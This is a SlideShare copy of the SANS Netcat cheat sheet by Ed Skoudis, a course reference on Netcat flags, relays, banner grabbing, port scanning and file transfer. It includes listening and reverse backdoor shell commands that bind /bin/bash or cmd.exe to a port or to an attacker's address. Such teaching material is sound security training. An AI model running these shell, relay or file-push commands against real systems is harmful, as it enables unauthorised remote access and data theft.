SlideShare a Scribd company logo
1 of 2
Download to read offline
This cheat sheet provides various tips for
using Netcat on both Linux and Unix,
specifically tailored to the SANS 504, 517,
and 560 courses. All syntax is designed for
the original Netcat versions, released by
Hobbit and Weld Pond. The syntax here
can be adapted for other Netcats, including
ncat, gnu Netcat, and others.
$ nc [options] [TargetIPaddr] [port(s)]
The [TargetIPaddr] is simply the other side’s IP
address or domain name. It is required in client mode
of course (because we have to tell the client where to
connect), and is optional in listen mode.
-l: Listen mode (default is client mode)
-L: Listen harder (supported only on Windows
version of Netcat). This option makes Netcat a
persistent listener which starts listening again
after a client disconnects
-u: UDP mode (default is TCP)
-p: Local port (In listen mode, this is port listened
on. In client mode, this is source port for all
packets sent)
-e: Program to execute after connection occurs,
connecting STDIN and STDOUT to the
program
-n: Don’t perform DNS lookups on names of
machines on the other side
-z: Zero-I/O mode (Don’t send any data, just emit
a packet without payload)
-wN: Timeout for connects, waits for N seconds
after closure of STDIN. A Netcat client or
listener with this option will wait for N seconds
to make a connection. If the connection
doesn’t happen in that time, Netcat stops
running.
-v: Be verbose, printing out messages on
Standard Error, such as when a connection
occurs
-vv: Be very verbose, printing even more details
on Standard Error
Netcat Relays on Windows Netcat Command Flags
Purpose
Netcat
Cheat Sheet
By Ed Skoudis
POCKET REFERENCE GUIDE
http://www.sans.org
To start, enter a temporary directory where we will
create .bat files:
C:> cd c:temp
Listener-to-Client Relay:
C:> echo nc [TargetIPaddr] [port] >
relay.bat
C:> nc –l –p [LocalPort] –e relay.bat
Create a relay that sends packets from the local port
[LocalPort] to a Netcat Client connected to
[TargetIPaddr] on port [port]
Listener-to-Listener Relay:
C:> echo nc –l –p [LocalPort_2] >
relay.bat
C:> nc –l –p [LocalPort_1] –e
relay.bat
Create a relay that will send packets from any
connection on [LocalPort_1] to any connection
on [LocalPort_2]
Client-to-Client Relay:
C:> echo nc [NextHopIPaddr] [port2] >
relay.bat
C:> nc [PreviousHopIPaddr] [port] –e
relay.bat
Create a relay that will send packets from the
connection to [PreviousHopIPaddr] on port
[port] to a Netcat Client connected to
[NextHopIPaddr] on port [port2]
Fundamental Netcat Client:
$ nc [TargetIPaddr] [port]
Connect to an arbitrary port [port] at IP Address
[TargetIPaddr]
Fundamental Netcat Listener:
$ nc –l -p [LocalPort]
Create a Netcat listener on arbitrary local port
[LocalPort]
Both the client and listener take input from STDIN
and send data received from the network to STDOUT
Fundamentals
Grab the banner of any TCP service running on an IP
Address from Linux:
$ echo "" | nc –v –n –w1 [TargetIPaddr]
[start_port]-[end_port]
Attempt to connect to each port in a range from
[end_port] to [start_port] on IP Address
[TargetIPaddr] running verbosely (-v), not
resolving names (-n), and waiting no more than 1
second for a connection to occur (-w1). Then send a
blank string to the open port and print out any
banner received in response
Add –r to randomize destination ports within the
range
Add –p [port] to specify a source port for the
scan
Netcat Relays on LinuxTCP Banner Grabber
To start, create a FIFO (named pipe) called
backpipe:
$ cd /tmp
$ mknod backpipe p
Listener-to-Client Relay:
$ nc –l –p [LocalPort] 0<backpipe | nc
[TargetIPaddr] [port] | tee backpipe
Create a relay that sends packets from the local port
[LocalPort] to a Netcat client connected to
[TargetIPaddr] on port [port]
Listener-to-Listener Relay:
$ nc –l –p [LocalPort_1] 0<backpipe |
nc –l –p [LocalPort_2] | tee backpipe
Create a relay that sends packets from any
connection on [LocalPort_1] to any connection
on [LocalPort_2]
Client-to-Client Relay:
$ nc [PreviousHopIPaddr] [port]
0<backpipe | nc [NextHopIPaddr]
[port2] | tee backpipe
Create a relay that sends packets from the
connection to [PreviousHopIPaddr] on port
[port] to a Netcat client connected to
[NextHopIPaddr] on port [port2]
Listening backdoor shell on Linux:
$ nc –l –p [LocalPort] –e /bin/bash
Listening backdoor shell on Windows:
C:> nc –l –p [LocalPort] –e cmd.exe
Create a shell on local port [LocalPort] that can
then be accessed using a fundamental Netcat client
Reverse backdoor shell on Linux:
$ nc [YourIPaddr] [port] –e /bin/bash
Reverse backdoor shell on Windows:
C:> nc [YourIPaddr] [port] –e cmd.exe
Create a reverse shell that will attempt to connect to
[YourIPaddr] on local port [port]. This shell
can then be captured using a fundamental nc listener
Backdoor Shells
Push a file from client to listener:
$ nc –l -p [LocalPort] > [outfile]
Listen on [LocalPort], store results in [outfile]
$ nc –w3 [TargetIPaddr] [port] <
[infile]
Push [infile] to [TargetIPaddr] on [port]
Pull file from listener back to client:
$ nc –l -p [LocalPort] < [infile]
Listen on [LocalPort], prep to push [infile]
$ nc –w3 [TargetIPaddr] [port] >
[outfile]
Connect to [TargetIPaddr] on [port] and
retrieve [outfile]
File Transfer
Port scan an IP Address:
$ nc –v –n –z –w1 [TargetIPaddr]
[start_port]-[end_port]
Attempt to connect to each port in a range from
[end_port] to [start_port] on IP Address
[TargetIPaddr] running verbosely (-v on Linux, -
vv on Windows), not resolving names (-n), without
sending any data (-z), and waiting no more than 1
second for a connection to occur (-w1)
The randomize ports (-r) switch can be used to
choose port numbers randomly in the range
TCP Port Scanner

More Related Content

What's hot

Ports & sockets
Ports  & sockets Ports  & sockets
Ports & sockets myrajendra
 
Socket Programming Tutorial
Socket Programming TutorialSocket Programming Tutorial
Socket Programming TutorialJignesh Patel
 
Socket Programming using Java
Socket Programming using JavaSocket Programming using Java
Socket Programming using JavaRahul Hada
 
Docker-OVS
Docker-OVSDocker-OVS
Docker-OVSsnrism
 
Single Host Docker Networking
Single Host Docker NetworkingSingle Host Docker Networking
Single Host Docker Networkingallingeek
 
Java Socket Programming
Java Socket ProgrammingJava Socket Programming
Java Socket ProgrammingVipin Yadav
 
A Short Java Socket Tutorial
A Short Java Socket TutorialA Short Java Socket Tutorial
A Short Java Socket TutorialGuo Albert
 
Socket Programming
Socket ProgrammingSocket Programming
Socket ProgrammingCEC Landran
 
20 common port numbers and their purposes
20 common port numbers and their purposes 20 common port numbers and their purposes
20 common port numbers and their purposes salamassh
 
Docker networking tutorial 102
Docker networking tutorial 102Docker networking tutorial 102
Docker networking tutorial 102LorisPack Project
 

What's hot (20)

Socket programming
Socket programmingSocket programming
Socket programming
 
Ports & sockets
Ports  & sockets Ports  & sockets
Ports & sockets
 
Np unit2
Np unit2Np unit2
Np unit2
 
Socket Programming Tutorial
Socket Programming TutorialSocket Programming Tutorial
Socket Programming Tutorial
 
Np unit iii
Np unit iiiNp unit iii
Np unit iii
 
Elementary TCP Sockets
Elementary TCP SocketsElementary TCP Sockets
Elementary TCP Sockets
 
Np unit1
Np unit1Np unit1
Np unit1
 
Socket Programming using Java
Socket Programming using JavaSocket Programming using Java
Socket Programming using Java
 
Np unit iv ii
Np unit iv iiNp unit iv ii
Np unit iv ii
 
Docker-OVS
Docker-OVSDocker-OVS
Docker-OVS
 
Single Host Docker Networking
Single Host Docker NetworkingSingle Host Docker Networking
Single Host Docker Networking
 
Java Socket Programming
Java Socket ProgrammingJava Socket Programming
Java Socket Programming
 
A Short Java Socket Tutorial
A Short Java Socket TutorialA Short Java Socket Tutorial
A Short Java Socket Tutorial
 
IPC SOCKET
IPC SOCKETIPC SOCKET
IPC SOCKET
 
Java socket programming
Java socket programmingJava socket programming
Java socket programming
 
Docker Networking
Docker NetworkingDocker Networking
Docker Networking
 
Socket Programming
Socket ProgrammingSocket Programming
Socket Programming
 
20 common port numbers and their purposes
20 common port numbers and their purposes 20 common port numbers and their purposes
20 common port numbers and their purposes
 
Docker networking tutorial 102
Docker networking tutorial 102Docker networking tutorial 102
Docker networking tutorial 102
 
Network sockets
Network socketsNetwork sockets
Network sockets
 

Viewers also liked

Part6 Private Sector Concerns
Part6 Private Sector ConcernsPart6 Private Sector Concerns
Part6 Private Sector ConcernsCTIN
 
Sleuth kit by echavarro - HABEMUSHACKING
Sleuth kit by echavarro - HABEMUSHACKINGSleuth kit by echavarro - HABEMUSHACKING
Sleuth kit by echavarro - HABEMUSHACKINGEduardo Chavarro
 
Raidprep
RaidprepRaidprep
RaidprepCTIN
 
Windows 8 Forensics & Anti Forensics
Windows 8 Forensics & Anti ForensicsWindows 8 Forensics & Anti Forensics
Windows 8 Forensics & Anti ForensicsMike Spaulding
 
NTFS file system
NTFS file systemNTFS file system
NTFS file systemRavi Yasas
 
Translating Geek To Attorneys It Security
Translating Geek To Attorneys It SecurityTranslating Geek To Attorneys It Security
Translating Geek To Attorneys It SecurityCTIN
 
Social Media Forensics for Investigators
Social Media Forensics for InvestigatorsSocial Media Forensics for Investigators
Social Media Forensics for InvestigatorsCase IQ
 
Windows 7 forensics jump lists-rv3-public
Windows 7 forensics jump lists-rv3-publicWindows 7 forensics jump lists-rv3-public
Windows 7 forensics jump lists-rv3-publicCTIN
 
Become an Internet Sleuth!
Become an Internet Sleuth!Become an Internet Sleuth!
Become an Internet Sleuth!Nearpod
 
Web and Social Media Image Forensics for News Professionals
Web and Social Media Image Forensics for News ProfessionalsWeb and Social Media Image Forensics for News Professionals
Web and Social Media Image Forensics for News ProfessionalsSymeon Papadopoulos
 
Computer Forensics &amp; Windows Registry
Computer Forensics &amp; Windows RegistryComputer Forensics &amp; Windows Registry
Computer Forensics &amp; Windows Registrysomutripathi
 
Windows 7 forensics -overview-r3
Windows 7 forensics -overview-r3Windows 7 forensics -overview-r3
Windows 7 forensics -overview-r3CTIN
 
Nra
NraNra
NraCTIN
 
Windows 10 Forensics: OS Evidentiary Artefacts
Windows 10 Forensics: OS Evidentiary ArtefactsWindows 10 Forensics: OS Evidentiary Artefacts
Windows 10 Forensics: OS Evidentiary ArtefactsBrent Muir
 

Viewers also liked (20)

Part6 Private Sector Concerns
Part6 Private Sector ConcernsPart6 Private Sector Concerns
Part6 Private Sector Concerns
 
Disk forensics
Disk forensicsDisk forensics
Disk forensics
 
Sleuth kit by echavarro - HABEMUSHACKING
Sleuth kit by echavarro - HABEMUSHACKINGSleuth kit by echavarro - HABEMUSHACKING
Sleuth kit by echavarro - HABEMUSHACKING
 
Raidprep
RaidprepRaidprep
Raidprep
 
File carving tools
File carving toolsFile carving tools
File carving tools
 
Windows 8 Forensics & Anti Forensics
Windows 8 Forensics & Anti ForensicsWindows 8 Forensics & Anti Forensics
Windows 8 Forensics & Anti Forensics
 
NTFS file system
NTFS file systemNTFS file system
NTFS file system
 
Digital forensic upload
Digital forensic uploadDigital forensic upload
Digital forensic upload
 
Translating Geek To Attorneys It Security
Translating Geek To Attorneys It SecurityTranslating Geek To Attorneys It Security
Translating Geek To Attorneys It Security
 
Social Media Forensics for Investigators
Social Media Forensics for InvestigatorsSocial Media Forensics for Investigators
Social Media Forensics for Investigators
 
Registry forensics
Registry forensicsRegistry forensics
Registry forensics
 
File system
File systemFile system
File system
 
Windows 7 forensics jump lists-rv3-public
Windows 7 forensics jump lists-rv3-publicWindows 7 forensics jump lists-rv3-public
Windows 7 forensics jump lists-rv3-public
 
Become an Internet Sleuth!
Become an Internet Sleuth!Become an Internet Sleuth!
Become an Internet Sleuth!
 
Web and Social Media Image Forensics for News Professionals
Web and Social Media Image Forensics for News ProfessionalsWeb and Social Media Image Forensics for News Professionals
Web and Social Media Image Forensics for News Professionals
 
Windows forensic artifacts
Windows forensic artifactsWindows forensic artifacts
Windows forensic artifacts
 
Computer Forensics &amp; Windows Registry
Computer Forensics &amp; Windows RegistryComputer Forensics &amp; Windows Registry
Computer Forensics &amp; Windows Registry
 
Windows 7 forensics -overview-r3
Windows 7 forensics -overview-r3Windows 7 forensics -overview-r3
Windows 7 forensics -overview-r3
 
Nra
NraNra
Nra
 
Windows 10 Forensics: OS Evidentiary Artefacts
Windows 10 Forensics: OS Evidentiary ArtefactsWindows 10 Forensics: OS Evidentiary Artefacts
Windows 10 Forensics: OS Evidentiary Artefacts
 

Similar to Netcat cheat sheet (20)

Netcat 101 by-mahesh-beema
Netcat 101 by-mahesh-beemaNetcat 101 by-mahesh-beema
Netcat 101 by-mahesh-beema
 
Netcat - 101 Swiss Army Knife
Netcat - 101 Swiss Army KnifeNetcat - 101 Swiss Army Knife
Netcat - 101 Swiss Army Knife
 
Net Programming.ppt
Net Programming.pptNet Programming.ppt
Net Programming.ppt
 
Network Prog.ppt
Network Prog.pptNetwork Prog.ppt
Network Prog.ppt
 
Client server
Client serverClient server
Client server
 
3-sdn-lab.pdf
3-sdn-lab.pdf3-sdn-lab.pdf
3-sdn-lab.pdf
 
Linux Network commands
Linux Network commandsLinux Network commands
Linux Network commands
 
DPDK in Containers Hands-on Lab
DPDK in Containers Hands-on LabDPDK in Containers Hands-on Lab
DPDK in Containers Hands-on Lab
 
OVS-NFV Tutorial
OVS-NFV TutorialOVS-NFV Tutorial
OVS-NFV Tutorial
 
20120521 - zeroMQ
20120521 - zeroMQ20120521 - zeroMQ
20120521 - zeroMQ
 
Docker networking Tutorial 101
Docker networking Tutorial 101Docker networking Tutorial 101
Docker networking Tutorial 101
 
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate028c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
 
Netcat
NetcatNetcat
Netcat
 
SR-IOV, KVM and Emulex OneConnect 10Gbps cards on Debian/Stable
SR-IOV, KVM and Emulex OneConnect 10Gbps cards on Debian/StableSR-IOV, KVM and Emulex OneConnect 10Gbps cards on Debian/Stable
SR-IOV, KVM and Emulex OneConnect 10Gbps cards on Debian/Stable
 
IoT with openHAB on pcDuino3B
IoT with openHAB on pcDuino3BIoT with openHAB on pcDuino3B
IoT with openHAB on pcDuino3B
 
netLec5.pdf
netLec5.pdfnetLec5.pdf
netLec5.pdf
 
Kubernetes networking
Kubernetes networkingKubernetes networking
Kubernetes networking
 
Docker Networking with New Ipvlan and Macvlan Drivers
Docker Networking with New Ipvlan and Macvlan DriversDocker Networking with New Ipvlan and Macvlan Drivers
Docker Networking with New Ipvlan and Macvlan Drivers
 
Python networking
Python networkingPython networking
Python networking
 
Netcat
NetcatNetcat
Netcat
 

Recently uploaded

TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...Rick Flair
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demoHarshalMandlekar2
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxLoriGlavin3
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embeddingZilliz
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxBkGupta21
 
What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????blackmambaettijean
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESmohitsingh558521
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 

Recently uploaded (20)

TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demo
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embedding
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptx
 
What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 

Netcat cheat sheet

  • 1. This cheat sheet provides various tips for using Netcat on both Linux and Unix, specifically tailored to the SANS 504, 517, and 560 courses. All syntax is designed for the original Netcat versions, released by Hobbit and Weld Pond. The syntax here can be adapted for other Netcats, including ncat, gnu Netcat, and others. $ nc [options] [TargetIPaddr] [port(s)] The [TargetIPaddr] is simply the other side’s IP address or domain name. It is required in client mode of course (because we have to tell the client where to connect), and is optional in listen mode. -l: Listen mode (default is client mode) -L: Listen harder (supported only on Windows version of Netcat). This option makes Netcat a persistent listener which starts listening again after a client disconnects -u: UDP mode (default is TCP) -p: Local port (In listen mode, this is port listened on. In client mode, this is source port for all packets sent) -e: Program to execute after connection occurs, connecting STDIN and STDOUT to the program -n: Don’t perform DNS lookups on names of machines on the other side -z: Zero-I/O mode (Don’t send any data, just emit a packet without payload) -wN: Timeout for connects, waits for N seconds after closure of STDIN. A Netcat client or listener with this option will wait for N seconds to make a connection. If the connection doesn’t happen in that time, Netcat stops running. -v: Be verbose, printing out messages on Standard Error, such as when a connection occurs -vv: Be very verbose, printing even more details on Standard Error Netcat Relays on Windows Netcat Command Flags Purpose Netcat Cheat Sheet By Ed Skoudis POCKET REFERENCE GUIDE http://www.sans.org To start, enter a temporary directory where we will create .bat files: C:> cd c:temp Listener-to-Client Relay: C:> echo nc [TargetIPaddr] [port] > relay.bat C:> nc –l –p [LocalPort] –e relay.bat Create a relay that sends packets from the local port [LocalPort] to a Netcat Client connected to [TargetIPaddr] on port [port] Listener-to-Listener Relay: C:> echo nc –l –p [LocalPort_2] > relay.bat C:> nc –l –p [LocalPort_1] –e relay.bat Create a relay that will send packets from any connection on [LocalPort_1] to any connection on [LocalPort_2] Client-to-Client Relay: C:> echo nc [NextHopIPaddr] [port2] > relay.bat C:> nc [PreviousHopIPaddr] [port] –e relay.bat Create a relay that will send packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat Client connected to [NextHopIPaddr] on port [port2] Fundamental Netcat Client: $ nc [TargetIPaddr] [port] Connect to an arbitrary port [port] at IP Address [TargetIPaddr] Fundamental Netcat Listener: $ nc –l -p [LocalPort] Create a Netcat listener on arbitrary local port [LocalPort] Both the client and listener take input from STDIN and send data received from the network to STDOUT Fundamentals
  • 2. Grab the banner of any TCP service running on an IP Address from Linux: $ echo "" | nc –v –n –w1 [TargetIPaddr] [start_port]-[end_port] Attempt to connect to each port in a range from [end_port] to [start_port] on IP Address [TargetIPaddr] running verbosely (-v), not resolving names (-n), and waiting no more than 1 second for a connection to occur (-w1). Then send a blank string to the open port and print out any banner received in response Add –r to randomize destination ports within the range Add –p [port] to specify a source port for the scan Netcat Relays on LinuxTCP Banner Grabber To start, create a FIFO (named pipe) called backpipe: $ cd /tmp $ mknod backpipe p Listener-to-Client Relay: $ nc –l –p [LocalPort] 0<backpipe | nc [TargetIPaddr] [port] | tee backpipe Create a relay that sends packets from the local port [LocalPort] to a Netcat client connected to [TargetIPaddr] on port [port] Listener-to-Listener Relay: $ nc –l –p [LocalPort_1] 0<backpipe | nc –l –p [LocalPort_2] | tee backpipe Create a relay that sends packets from any connection on [LocalPort_1] to any connection on [LocalPort_2] Client-to-Client Relay: $ nc [PreviousHopIPaddr] [port] 0<backpipe | nc [NextHopIPaddr] [port2] | tee backpipe Create a relay that sends packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat client connected to [NextHopIPaddr] on port [port2] Listening backdoor shell on Linux: $ nc –l –p [LocalPort] –e /bin/bash Listening backdoor shell on Windows: C:> nc –l –p [LocalPort] –e cmd.exe Create a shell on local port [LocalPort] that can then be accessed using a fundamental Netcat client Reverse backdoor shell on Linux: $ nc [YourIPaddr] [port] –e /bin/bash Reverse backdoor shell on Windows: C:> nc [YourIPaddr] [port] –e cmd.exe Create a reverse shell that will attempt to connect to [YourIPaddr] on local port [port]. This shell can then be captured using a fundamental nc listener Backdoor Shells Push a file from client to listener: $ nc –l -p [LocalPort] > [outfile] Listen on [LocalPort], store results in [outfile] $ nc –w3 [TargetIPaddr] [port] < [infile] Push [infile] to [TargetIPaddr] on [port] Pull file from listener back to client: $ nc –l -p [LocalPort] < [infile] Listen on [LocalPort], prep to push [infile] $ nc –w3 [TargetIPaddr] [port] > [outfile] Connect to [TargetIPaddr] on [port] and retrieve [outfile] File Transfer Port scan an IP Address: $ nc –v –n –z –w1 [TargetIPaddr] [start_port]-[end_port] Attempt to connect to each port in a range from [end_port] to [start_port] on IP Address [TargetIPaddr] running verbosely (-v on Linux, - vv on Windows), not resolving names (-n), without sending any data (-z), and waiting no more than 1 second for a connection to occur (-w1) The randomize ports (-r) switch can be used to choose port numbers randomly in the range TCP Port Scanner